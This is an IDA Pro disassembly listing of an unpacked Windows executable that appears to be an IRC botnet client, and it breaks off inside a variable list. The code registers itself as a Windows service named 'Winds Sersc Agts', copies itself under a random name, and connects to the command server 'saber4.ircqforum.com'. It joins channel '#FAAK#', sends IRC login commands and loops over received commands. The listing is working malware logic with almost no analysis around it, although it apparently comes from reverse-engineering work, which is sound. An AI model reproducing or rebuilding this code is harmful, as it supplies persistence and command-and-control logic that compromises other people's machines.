;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	6BDC72DBC7D4BDC354D919F713922687

; File Name   :	u:\work\6bdc72dbc7d4bdc354d919f713922687_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_41835A+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindsSerscAgts ; "Winds Sersc Agts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB608
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB678
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB5B8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB630
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416644p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E59C
		call	dword_4CB6EC
		call	sub_40B2C0
		call	dword_4CB5AC
		call	dword_4CB5AC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D808
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 26709DBh
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2660B96h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D800
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418685
		pop	ecx
		mov	dword_4CB390, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB394, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B13
		push	2
		call	dword_4CB700
		push	7530h
		push	offset aQsfpo	; "qsfpo"
		push	ebx
		push	ebx
		nop
		call	near ptr 26900E5h
		push	eax
		call	near ptr 2690000h
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB5C4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26709DBh
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2680DC2h
		nop
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_42910C
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42910C[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2680C71h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2680B8Ah


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2680867h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2670EC6h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418294
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2680B8Ah
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D808
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 268081Bh
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2680289h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2660B96h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2670EC6h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB5AC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB974, 2
		jle	short loc_401562
		mov	eax, dword_4DB978
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2690000h
		push	esi
		nop
		call	near ptr 26608E3h
		mov	eax, dword_4DB978
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2670EC6h
		mov	eax, dword_4DB978
		push	dword ptr [eax+8]
		nop
		call	near ptr 268018Ah


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB724, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	0B80h
		push	ebx
		push	offset dword_43D810
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419A01
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	2
		call	sub_40B33F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		mov	dword_4CB508, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB41C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB45C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4F0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB398
		mov	dword_4CB504, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB504, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2670EC6h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E8, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E8
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2C0


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB5AC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E5A8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E59C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6EC
		call	sub_40AB23
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2670EC6h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415221
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6EC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB500, bl
		jz	short loc_40199A
		push	offset byte_4CB500
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2D
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6EC
		push	1388h
		nop
		call	near ptr 2670EC6h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
